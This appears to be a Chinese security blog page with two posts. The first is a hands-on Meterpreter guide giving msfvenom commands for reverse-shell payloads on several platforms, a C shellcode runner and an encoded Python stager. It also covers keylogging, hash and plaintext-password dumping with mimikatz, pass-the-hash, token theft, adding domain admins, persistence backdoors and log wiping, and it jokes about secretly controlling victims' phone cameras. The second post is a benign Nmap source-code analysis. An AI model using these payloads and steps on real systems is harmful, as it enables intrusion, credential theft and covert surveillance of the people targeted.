Meterpreter Guide

发布时间:September 6, 2015 // 分类:工作日志,代码学习,linux,VC/C/C++ // No Comments

0x01 入门篇(生成与接收)


功能介绍

msfpayload和msfencode已经被时代淘汰了现在都转为msfvenom了

msfvenom命令行选项如下:
    Options:
        -p, --payload    payload>       指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
        -l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
        -n, --nopsled    length>        为payload预先指定一个NOP滑动长度
        -f, --format     format>        指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
     -e, --encoder    [encoder]       指定需要使用的encoder(编码器)
        -a, --arch       architecture>  指定payload的目标架构
            --platform   platform>      指定payload的目标平台
        -s, --space      length>        设定有效攻击荷载的最大长度
        -b, --bad-chars  list>          设定规避字符集,比如: '\x00\xff'
        -i, --iterations count>         指定payload的编码次数
        -c, --add-code   path>          指定一个附加的win32 shellcode文件
        -x, --template   path>          指定一个自定义的可执行文件作为模板
        -k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行
            --payload-options            列举payload的标准选项
        -o, --out   path>               保存payload
        -v, --var-name name>            指定一个自定义的变量,以确定输出格式
        --shellest                   最小化生成payload
        -h, --help                       查看帮助选项
        --help-formats               查看msf支持的输出格式列表

查看一个Payload具体需要什么参数

msfvenom -p windows/meterpreter/bind_tcp --payload-options

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (accepted: seh, thread, process, none)
LPORT     4444             yes       The listen port
RHOST                      no        The target address

只示范reverse_tcp 大家可以根据各种不同的环境来选择Payload

reverse_http or bind_tcp ...

自己本地生成的bind_tcp的payload并不能在Windows机子上运行 (提示不是可用的Win32程序:(....)

如果大家也有遇到这种错误的话 推荐用msfvenom生成c的shellcode 然后自己编译为exe后运行:)

说不定还有以外的效果哦~

分享一个bind_tcp的栗子 (自行更改shelcode)

#include "windows.h"
#include "stdio.h"

typedef void (_stdcall *CODE)();    

unsigned char shellcode[] = 
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"
"\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52"
"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
"\x29\x80\x6b\x00\xff\xd5\x6a\x08\x59\x50\xe2\xfd\x40\x50\x40"
"\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x68\x02\x00\x11\x5c\x89"
"\xe6\x6a\x10\x56\x57\x68\xc2\xdb\x37\x67\xff\xd5\x85\xc0\x75"
"\x50\x57\x68\xb7\xe9\x38\xff\xff\xd5\x57\x68\x74\xec\x3b\xe1"
"\xff\xd5\x97\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
"\xd5\x83\xf8\x00\x7e\x2d\x8b\x36\x6a\x40\x68\x00\x10\x00\x00"
"\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56"
"\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x07\x01"
"\xc3\x29\xc6\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff"
"\xd5";

void RunShellCode()  
{  
    ( (void (*)(void))&shellcode )();  
}  


void main()  
{  
    RunShellCode();  
}

具体编码方式和编码次数大家可以自行改变:)

使用msfvenom --list可以查看所有的payload encoder nops...哦~~

生成Windows reverse_tcp payload

msfvenom -p windows/meterpreter/reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/Desktop/shell.exe

or

msfvenom -p windows/x64/meterpreter_reverse_tcp -e -i 3 LHOST=172.22.25.51 LPORT=23333 -f exe -o ~/Desktop/shell.exe

生成Python reverse_tcp payload

msfvenom -p python/meterpreter/reverse_tcp -e -i 3 LHOST=172.22.25.51  LPORT=23333

生成出来的Python是可以直接解码来改IP的端口的 所以可以不用浪费时间生成payload 大家自行更改IP和端口~

import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QKcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQpzLmNvbm5lY3QoKCcxNzIuMjIuMjUuNTEnLDIzMzMzKSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KDQpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsncyc6c30pCg==')))

生成java payload

msfvenom -p java/meterpreter/reverse_tcp LHOST=10.42.0.1  LPORT=23333 -o ~/Desktop/123.jar

生成php payload

msfvenom -p  php/meterpreter_reverse_tcp LHOST=10.42.0.1  LPORT=23333 -o ~/Desktop/123.php

生成Linux payload

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.42.0.1  LPORT=23333 -f elf -o ~/Desktop/123.elf

生成Android的payload :)

msfvenom -p android/meterpreter/reverse_tcp LHOST=10.42.0.1  LPORT=23333 -o ~/Desktop/1234.apk

生成后 手机点击app无任何反应 app就默默的后台运行 干啥都行:) so cool!偷偷控制手机摄像头!

接收

msf > use multi/handler
msf exploit(handler) > set payload android/meterpreter/reverse_tcp
payload => android/meterpreter/reverse_tcp
msf exploit(handler) > set LPORT 23333
LPORT => 23333
msf exploit(handler) > set LHOST 10.42.0.1
LHOST => 10.42.0.1
msf exploit(handler) > exploit

0x02 Go on:)


基本命令:

background  # 让meterpreter处于后台模式  
sessions -i number   # 与会话进行交互,number表示第n个session  
quit  # 退出会话  
shell # 获得命令行
cat c:\\boot.ini   # 查看文件内容  
getwd # 查看当前工作目录 work directory  
upload /root/Desktop/netcat.exe c:\\ # 上传文件到目标机上  
download 0xfa.txt /root/Desktop/   # 下载文件到本机上  
edit c:\\boot.ini  # 编辑文件  
search -d d:\\www -f web.config # search 文件 
ps # 查看当前活跃进程  
migrate  pid # 将Meterpreter会话移植到进程数位pid的进程中  
execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互  
getpid # 获取当前进程的pid  
kill pid # 杀死进程  
getuid # 查看权限  
sysinfo # 查看目标机系统信息,如机器名,操作系统等  
getsystem #提权操作
timestompc:/a.doc -c "10/27/2015 14:22:11" #修改文件的创建时间

迁移进程

meterpreter > ps

自行选择PID

meterpreter > migrate pid

提权操作

  • getsystem 大部分都会失败 他只尝试了4个Payload。

    meterpreter > getuid    
    Server username: Testing\Croxy    
    meterpreter > getsystem    
    [-] priv_elevate_getsystem: Operation failed: Access is denied.    
    
  • 使用MS14-058之类的Exp进行提权

    meterpreter > background
    [*] Backgrounding session 3..
    msf exploit(handler) > use exploit/windows/local/ms14_058_track_popup_menu
    msf exploit(ms14_058_track_popup_menu) > set SESSION 3
    

    再也不用去网上找Exp来下载拉~:)

获取敏感信息(Windows版本 Linux自行选择)

run post/windows/gather/checkvm #是否虚拟机
run post/windows/gather/enum_applications #获取安装软件信息
run post/windows/gather/dumplinks   #获取最近的文件操作
run post/windows/gather/enum_ie  #获取IE缓存
run post/windows/gather/enum_chrome   #获取Chrome缓存
run scraper                      #获取常见信息
#保存在~/.msf4/logs/scripts/scraper/目录下

详细请参考 http://drops.wooyun.org/tips/9732

键盘记录

meterpreter > keyscan_start
Starting the keystroke sniffer...
meterpreter > keyscan_dump
Dumping captured keystrokes...
dir <Return> cd  <Ctrl>  <LCtrl>
meterpreter > keyscan_stop
Stopping the keystroke sniffer...

网络嗅探

meterpreter > use sniffer
Loading extension sniffer...success.
meterpreter > sniffer_interfaces
    1 - 'WAN Miniport (Network Monitor)' ( type:3 mtu:1514 usable:true dhcp:false wifi:false )
    2 - 'Intel(R) PRO/1000 MT Desktop Adapter' ( type:0 mtu:1514 usable:true dhcp:true wifi:false )
    3 - 'Cisco Systems VPN Adapter' ( type:4294967295 mtu:0 usable:false dhcp:false wifi:false )
meterpreter > sniffer_start 2
[*] Capture started on interface 2 (50000 packet buffer)
meterpreter > sniffer_dump 2 /tmp/test2.cap
[*] Flushing packet capture buffer for interface 2...
[*] Flushed 1176 packets (443692 bytes)
[*] Downloaded 100% (443692/443692)...
[*] Download completed, converting to PCAP...
[*] PCAP file written to /tmp/test2.cap

获取Hash

meterpreter > run post/windows/gather/smart_hashdump
[*] Running module against TESTING
[*] Hashes will be saved to the database if one is connected.
[*] Hashes will be saved in loot in JtR password file format to:
[*] /home/croxy/.msf4/loot/20150929225044_default_10.0.2.15_windows.hashes_407551.txt
[*] Dumping password hashes...
[*] Running as SYSTEM extracting hashes from registry
[*]     Obtaining the boot key...
[*]     Calculating the hboot key using SYSKEY 8c2c8d96e92a8ccfc407a1ca48531239...
[*]     Obtaining the user list and keys...
[*]     Decrypting user keys...
[*]     Dumping password hints...
[+]     Croxy:"Whoareyou"
[*]     Dumping password hashes...
[+]     Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::  
[+]     HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ee:e3f0347f8b369cac49e62a18e34834c0:::
[+]     test123:1003:aad3b435b51404eeaad3b435b51404ee:0687211d2894295829686a18ae83c56d:::

获取明文密码

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM    

meterpreter > load mimikatz
Loading extension mimikatz...success.
meterpreter > msv
[+] Running as SYSTEM
[*] Retrieving msv credentials    

meterpreter > kerberos
[+] Running as SYSTEM
[*] Retrieving kerberos credentials
kerberos credentials
====================    

meterpreter > mimikatz_command -f samdump::hashes
Ordinateur : Testing
BootKey    : 8c2c8d96e92a8ccfc407a1ca48531239    

meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { Croxy ; Testing ; hehe }
[1] { test ; Testing ; test }

通过Hash获取权限

msf > use exploit/windows/smb/psexec
msf exploit(psexec) > show options    

Module options (exploit/windows/smb/psexec):    

Name       Current Setting  Required  Description
----       ---------------  --------  -----------
RHOST                       yes       The target address
RPORT      445              yes       Set the SMB service port
SHARE      ADMIN$           yes       The share to connect to, can be an admi                                              n share

(ADMIN$,C$,...) or a normal read/write folder share
SMBDomain  WORKGROUP        no        The Windows domain to use for authentic                                                ation
SMBPass                     no        The password for the specified username
SMBUser                     no        The username to authenticate as    

Exploit target:    

Id  Name
--  ----
0   Automatic    

msf exploit(psexec) > set RHOST 192.168.0.254
RHOST => 192.168.0.254
msf exploit(psexec) > set SMBUser isosky
SMBUser => isosky
msf exploit(psexec) > set SMBPass 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537    

SMBPass => 01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537
msf exploit(psexec) > exploit
[*] Started reverse handler on 192.168.0.3:4444
[*] Connecting to the server...
[*] Authenticating to 192.168.0.254:445|WORKGROUP as user 'isosky'...
[*] Uploading payload...
[*] Created \UGdecsam.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.0.254[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (MZsCnzjn - "MrZdoQwIlbBIYZQJyumxYX")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \UGdecsam.exe...
[*] Sending stage (749056 bytes) to 192.168.0.254
[*] Meterpreter session 1 opened (192.168.0.3:4444 -> 192.168.0.254:1877) at 2011-07-19 03:57:17 +0800

0x03 内网渗透


10.42.0.54为target

端口转发

meterpreter > portfwd add -l 1234 -p 3389 -r 10.42.0.54
[*] Local TCP relay created: 0.0.0.0:8081 <-> 10.42.0.54:80

将远程主机3389端口转发到本地1234端口上

内网代理

Windows

meterpreter > run autoroute -s 10.42.0`.54
[*] Adding a route to 10.42.0.54/255.255.255.0...
[+] Added route to 10.42.0.54/255.255.255.0 via 10.42.0.54
[*] Use the -p option to list all active routes
meterpreter > background
[*] Backgrounding session 1...
msf exploit(handler) > use auxiliary/server/socks4a
msf auxiliary(socks4a) > show options    

Module options (auxiliary/server/socks4a):
Name     Current Setting  Required  Description
----     ---------------  --------  -----------
SRVHOST  0.0.0.0          yes       The address to listen on
SRVPORT  1080             yes       The port to listen on.    

Auxiliary action:
Name   Description
----   -----------
Proxy      

msf auxiliary(socks4a) > route print
Active Routing Table
====================
Subnet             Netmask            Gateway
------             -------            -------
10.42.0.54         255.255.255.0      Session 1    

msf auxiliary(socks4a) > ifconfig
[*] exec: ifconfig    

msf auxiliary(socks4a) > set SRVHOST xxx.xxx.xx.xx
SRVHOST => xxx.xxx.xx.xx (xxx.xxx.xx.xx为自己运行msf的vps机子)    

msf auxiliary(socks4a) > exploit
[*] Auxiliary module execution completed
[*] Starting the socks4a proxy server

之后使用proxychains 设置socks4代理 链接vps上的1080端口 就可以访问内网了

SSH代理

msf > load meta_ssh
msf > use multi/ssh/login_password
msf > set RHOST 192.168.56.3
RHOST => 192.168.56.3
msf > set USER test
USER => test
msf > set PASS reverse
PASS => reverse
msf > set PAYLOAD ssh/metassh_session
PAYLOAD => ssh/metassh_session
msf > exploit -z
[*] Connecting to dsl@192.168.56.3:22 with password reverse
[*] metaSSH session 1 opened (127.0.0.1 -> 192.168.56.3:22) at 2011-12-28   03:51:16 +1300
[*] Session 1 created in the background.
msf > route add 192.168.57.0 255.255.255.0 1

之后就是愉快的内网扫描了

当然还是推荐直接用

ssh -f -N -D 127.0.0.1:6666 test@103.224.81.1.1

偷取Token

meterpreter>ps #查看目标机器进程,找出域控账户运行的进程ID
meterpreter>steal_token pid

方法2

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > load incognito
Loading extension incognito...success.
meterpreter > list_tokens -u    

Delegation Tokens Available
========================================
IIS APPPOOL\zyk
NT AUTHORITY\IUSR
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
QLWEB\Administrator    

Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON    

meterpreter > impersonate_token QLWEB\\Administrator
[+] Delegation token available
[+] Successfully impersonated user QLWEB\Administrator
meterpreter > getuid
Server username: QLWEB\Administrator
meterpreter>add_user 0xfa funny –h192.168.3.98  #在域控主机上添加账户
meterpreter>add_group_user “DomainAdmins” 0xfa –h192.168.3.98   #将账户添加至域管理员组

如果有了域控:) nidongde

内网扫描

meterpreter > run autoroute -s 192.168.3.98
meterpreter > background
[*] Backgrounding session 2...
msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set PORTS 80,8080,21,22,3389,445,1433,3306
PORTS => 80,8080,21,22,3389,445,1433,3306
msf auxiliary(tcp) > set RHOSTS 192.168.3.1/24
RHOSTS => 192.168.3.1/24
msf auxiliary(tcp) > set THERADS 10
THERADS => 10
msf auxiliary(tcp) > exploit

我还是推荐开代理用Nmap扫描>.<

一些常用的破解模块

auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous

一些好用的模块

auxiliary/admin/realvnc_41_bypass  (Bypass VNCV4网上也有利用工具)
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版 洞略老)
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:))
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:)
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令 没回显:()
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友)
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:)
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行)
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)

还一些。。。。你懂的脚本 :)

auxiliary/scanner/rsync/modules_list  (Rsync)
auxiliary/scanner/misc/redis_server  (Redis)
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血)
auxiliary/scanner/mongodb/mongodb_login (Mongodb)
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch)
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含)
auxiliary/scanner/http/http_put (http Put)
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户)
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户)
auxiliary/scanner/http/svn_scanner (svn Hunter :))
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破)
auxiliary/scanner/http/zabbix_login (Zabbix :))

0x04 AfterWards?


后门:)

一个vbs后门 写入了开机启动项 但是容易被发现 还是需要大家发挥自己的智慧:)    

meterpreter > run persistence -X -i 5 -p 23333 -r 10.42.0.1
[*] Running Persistance Script
[*] Resource file for cleanup created at /home/croxy/.msf4/logs/persistence/TESTING_20150930.3914/TESTING_20150930.3914.rc
[*] Creating Payload=windows/meterpreter/reverse_tcp LHOST=10.42.0.1 LPORT=23333
[*] Persistent agent script is 148453 bytes long
[+] Persistent Script written to C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[*] Executing script C:\Users\Croxy\AppData\Local\Temp\ulZpjVBN.vbs
[+] Agent executed with PID 4140
[*] Installing into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr
[+] Installed into autorun as HKLM\Software\Microsoft\Windows\CurrentVersion\Run\okiASNRzcLenulr

Meterpreter服务后门

meterpreter > run metsvc
[*] Creating a meterpreter service on port 31337
[*] Creating a temporary installation directory C:\Users\Croxy\AppData\Local\Temp\tuIKWqmuO...
[*]  >> Uploading metsrv.x86.dll...
[*]  >> Uploading metsvc-server.exe...
[*]  >> Uploading metsvc.exe...
[*] Starting the service...
* Installing service metsvc
* Starting service
* Service metsvc successfully installed.

之后电脑就默默生成了一个自启服务Meterpreter

然后连接后门

msf exploit(handler) > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/metsvc_bind_tcp
msf exploit(handler) > set RHOST 10.42.0.54
RHOST => 10.42.0.54
msf exploit(handler) > set LPORT 31337
LPORT => 31337
msf exploit(handler) > exploit

清理痕迹:)

meterpreter > clearev
[*] Wiping 12348 records from Application...
[*] Wiping 1345 records from System...
[*] Wiping 3 records from Security...

0x05 And So On...


Look it

Tree

Meterpreter太强大~

Nmap源码分析(服务与版本扫描)

发布时间:August 7, 2015 // 分类:工作日志,开发笔记,运维工作,VC/C/C++,linux,转帖文章,windows // No Comments

  Nmap提供了丰富的命令行选项(100多个选项),所以Nmap的命令行用法既可以简单到直接输入nmap targetip,也可以复杂到添加几十个选项对扫描过程进行性能优化。对Nmap的各类命令行选项有个总体把握,是熟练使用Nmap的先决条件。因此,这里以思维导图方式将Nmap的常用选项绘制出来,给用户清晰直观的印象。

  Nmap的思维导图(Mindmap)

  下载地址:http://aspirationflowspace.googlecode.com/files/nmap_usage_mindmap.png

Nmap源码分析(服务与版本扫描)

 

  在进行端口扫描后,Nmap可以进一步探测出运行在端口上的服务类型及应用程序的版本。目前Nmap可以识别几千种服务程序的签名(Signature),覆盖了180多种应用协议。比如,端口扫描检测到80端口是开放的,可以通过服务与版本扫描来确定其实际运行的协议(正常情况下是HTTP)及Web服务器名称及版本(比如是Apache xxx.xxx或者Microsoft IIS等)。

 

 

  扫描原理是服务指纹(或称签名)对比匹配。Nmap内部包含了几千种常见服务指纹的数据库(nmap-service-probes),对目标端口进行连接通信,产生当前端口的服务指纹,再与指纹数据库对比,寻找出匹配的服务类型。

  服务与版本侦测主要分为以下几个步骤:

1.        首先检查open与open|filtered状态的端口是否在排除端口列表内。如果在排除列表,将该端口剔除。

2.        如果是TCP端口,尝试建立TCP连接。尝试等待片刻(通常6秒或更多,具体时间可以查询文件nmap-services-probes中ProbeTCP NULL q||对应的totalwaitms)。通常在等待时间内,会接收到目标机发送的“Welcome Banner”信息。nmap将接收到的Banner与nmap-services-probes中NULLprobe中的签名进行对比。查找对应应用程序的名字与版本信息。

3.        如果通过“Welcome Banner”无法确定应用程序版本,那么nmap再尝试发送其他的探测包(即从nmap-services-probes中挑选合适的probe),将probe得到回复包与数据库中的签名进行对比。如果反复探测都无法得出具体应用,那么打印出应用返回报文,让用户自行进一步判定。

4.        如果是UDP端口,那么直接使用nmap-services-probes中探测包进行探测匹配。根据结果对比分析出UDP应用服务类型。

5.        如果探测到应用程序是SSL,那么调用openSSL进一步的侦查运行在SSL之上的具体的应用类型。

6.        如果探测到应用程序是SunRPC,那么调用brute-forceRPC grinder进一步探测具体服务。

 

服务扫描用法

-sV: 指定让Nmap进行版本侦测

--version-intensity<level>: 指定版本侦测强度(0-9),默认为7。数值越高,探测出的服务越准确,但是运行时间会比较长。

--version-light: 指定使用轻量侦测方式 (intensity 2)

--version-all: 尝试使用所有的probes进行侦测 (intensity 9)

--version-trace: 显示出详细的版本侦测过程信息。

2   实现框架
下面先介绍服务与版本扫描涉及到的源文件与库、核心Class,然后介绍服务扫描的核心函数实现流程及流程的细节。
 
2.1  文件组织

service_scan.cc/service_scan.h

服务扫描的核心功能都在此两个文件中实现,文件结构清晰简洁,代码行数总共3000余行。与端口扫描部分类似,服务扫描也定义了不少类与接口函数。

nmap-service-probes

此文件是nmap服务扫描所需的数据库文件,包括定制的探测包及预期的回复包,及识别服务类型的具体匹配方式。

下面摘取其中片段,简单了解其结构。

Probe TCPNULL q||
# Wait forat least 6 seconds for data.  It used tobe 5, but some
# smtpservices have lately been instituting an artificial pause (see
#FEATURE('greet_pause') in Sendmail, for example)
totalwaitms6000
 
match 1c-server m|^S\xf5\xc6\x1a{|p/1C:Enterprise business management server/
 
match4d-server m|^\0\0\0H\0\0\0\x02.[^\0]*\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0$|sp/4th Dimension database server/
 
match acapm|^\* ACAP IMPLEMENTATION\"CommuniGateProACAP(\d[−.\w]+)\" |p/CommuniGate Pro ACAP server/ v/$1/ i/for mail client preference sharing/
match acmpm|^ACMP Server Version ([\w._-]+)\r\n| p/Aagon ACMP Inventory/ v/$1/
matchactivemq m|^\0\0\0.\x01ActiveMQ\0\0\0|s p/Apache ActiveMQ/

第一行Probe关键字表示定义一个探测包,其类型为TCP,名字为NULL,探测字符串为空(q||)。以#开头为注释行,为读者提供参考信息。随后定义默认服务等待时间totalwaims 6000,即6秒钟。后面的match行,定义服务匹配的情况,即在此条件下认为此端口是运行的具体服务类型。match行的格式如下:

match <service> <pattern> [<versioninfo>]

service为服务名称,pattern为匹配的模式(正则表达式),versioninfo为该服务对应的版本信息。这里以match 1c-serverm|^S\xf5\xc6\x1a{| p/1C:Enterprise business management server/为例,当使用NULL探测包获取的返回包中包含:m|^S\xf5\xc6\x1a{|模式(该正则表达式含义:以字符S开头,紧随其后三个字符\xf5\xc6\x1a)时,并且从提取出厂商产品名字与1C:Enterprise businessmanagement server相符,那么判断该服务为1c-server。

其他的行与此类似,这里就不再赘述。

 

nsock library

服务与版本扫描部分用到nsock库,该库设计用于并发处理网络事件。在Nmap源码树下,有单独的nsock目录来管理nsock库。此处我们仅需要关注nsock.h文件中提供的API函数即可。

2.2  核心类分析

  服务扫描过程中,主要构建了5个类,分别描述不同层次的数据类型。下面我们将以宏观到微观的思路,依次查看每个类的结构与用法。其中ServiceGroup从整理的角度管理服务扫描过程;ServiceNFO则具体的负责管理每一种服务扫描过程;AllProbes负责管理所有用于服务扫描的探测包;ServiceProbe则描述每一个进行服务探测的探测包细节(对应nmap-service-probes中描述的探测包);ServiceProbeMatch则描述探测包的匹配类型(每一个ServiceProbe可能包含多种匹配类型)。

  下面依次查看每个类的细节。

 

2.2.1ServiceGroup

  ServiceGroup用于管理一组目标机进行服务扫描的信息。这个类非常重要,负责统一管理其他具体的信息:如单个服务扫描信息(ServiceNFO)、全部探测包信息(AllProbes)、服务探测包信息(ServiceProbe)等等。

  该类主要包含以下具体内容:

  1. 扫描完成的服务列表services_finished,记录目前已经扫描完毕的服务。
  2. 正在扫描的服务列表services_in_progress。多个服务可能在同时并发地被探测,所以此处将当前正在扫描的服务全部记录在该列表中。
  3. 剩余服务列表services_remaining,当前还没有开始探测的服务被放置在该列表中。在服务扫描初始化时,所有的服务的都被放置在列表中。
  4. 最大的并发探测包ideal_parallelism,用于确定同时发送服务探测包的并发数量,此值取决于用户配置的时序参数和具体网卡的支持能力等因素。若配置时序为-T4,那么会将ideal_parallelism设置40。
  5. 扫描进度测量器ScanProgressMeter,用于记录服务扫描的进度情况,以便能够实时地反馈给用户。在控制台界面按下普通按键(如按下空格键,不包括“vVdDp?”字符,这几个字符有特殊含义),Nmap会打印出当前的扫描进度。
  6. 超时主机的数量,记录当前扫描超时的主机数量。
// This holds theservice information for a group of Targets being service scanned.

class ServiceGroup {

public:

  ServiceGroup(vector<Target *>&Targets, AllProbes *AP);

  ~ServiceGroup();

  list<ServiceNFO *> services_finished;// Services finished (discovered or not)

  list<ServiceNFO *>services_in_progress; // Services currently being probed

  list<ServiceNFO *> services_remaining;// Probes not started yet

  unsigned int ideal_parallelism; // Max (anddesired) number of probes out at once.

  ScanProgressMeter *SPM;

  int num_hosts_timedout; // # of hosts timedout during (or before) scan

};

2.2.2ServiceNFO

  ServiceNFO负责管理特定的服务的探测细节。上述的ServiceGroup中就是管理ServiceNFO对象组成的列表。

  ServiceNFO类包含以下信息:

  1. 服务指纹的管理(提供添加与获取等操作)
  2. 服务扫描对应的主机(Target *target)
  3. 服务探测匹配的信息(是否匹配、是否softmatch、ssl配置、产品、版本、CPE等信息)
  4. 管理探测包(服务扫描过程可能需要发送多个探测包,在此对当前探测包、下一个探测包进行管理)
  5. 管理回复包(提供添加与获取等操作)。
  6. 服务扫描所需的全部探测包AllProbes *AP;

 

2.2.3AllProbes

  AllProbes负责管理全部的服务探测包(Probes)。该类的对象从nmap-service-probes数据库文件中解析出探测包及匹配方式等信息,将之管理起来。在后续服务扫描时,在此对象中来按需取出探测包发送即可。

  该类主要包含以下几个方面内容:

  1. 探测包管理(探测包向量std::vector<ServiceProbe *>probes、NULL探测包等)
  2. 编制回退数组(compileFallbacks),当回复包无法匹配当前字符串时,允许回退到上一次匹配字符串。
  3. 管理排除端口列表。在nmap-service-probes中指定需排除的服务扫描,默认排除TCP的9100-9107端口,此类打印机服务会返回大量的无用信息。
  4. 服务初始化接口与释放接口。

 

2.2.4ServiceProbe

  ServiceProbe负责管理单个的服务探测包的详细信息。服务探测包具体的信息来自nmap-service-probes数据库文件,当AllProbes类在初始化时会读取该文件,并依据其每个探测信息创建ServiceProbe对象,放置在AllProbes内部的向量std::vector<ServiceProbe *>probes中。

  该类主要包含以下内容:

  1. 探测包名字,比如探测包名字叫NULL或GenericLines等等。
  2. 探测包字符串及字符串长度。非NULL探测包都包含探测需要字符串,所以此处对该信息进行管理。例如,对于探测包:Probe TCP GenericLinesq|\r\n\r\n|,其探测字符串为\r\n\r\n。
  3. 允许的端口及SSL端口。除NULL外,探测包通常只会针对特定的端口扫描才有效,所以此处即管理该探测包允许的扫描的端口。
  4. 探测包的协议类型probeprotocol,只能是TCP或UDP。
  5. 可被探测的服务类型detectedServices。与允许端口类似,探测包可能只能用于某些特定的服务的探测,所以此处统一管理能被探测的服务类型。
  6. 服务探测包匹配管理。该类中使用向量std::vector<ServiceProbeMatch*> matches来管理此服务探测包可能会匹配的情况,匹配情况对应到nmap-service-probes中的match与softmatch行。
  7. 探测回退数组(fallback array)的管理,此对应到AllProbes中compileFallbacks()函数,此处管理具体的服务探测包进行回退的数组。数组结构:ServiceProbe*fallbacks[MAXFALLBACKS+1];
  8. 测试是否匹配,此接口函数用于测试某个回复包是否与预期结果匹配。
  9. 其他接口函数,管理其他普通信息。

 

2.2.5ServiceProbeMatch

  ServiceProbeMatch用于管理特定的服务探测包的匹配信息(match)。nmap-service-probes文件中每一个match和softmatch行都对应到该类的对象。

该类信息比较丰富,以下仅简要描述:

  1. 探测包匹配详细信息(版本、产品、CPE等等)
  2. 探测匹配情况(匹配类型、匹配字符串、正则表达式等等)
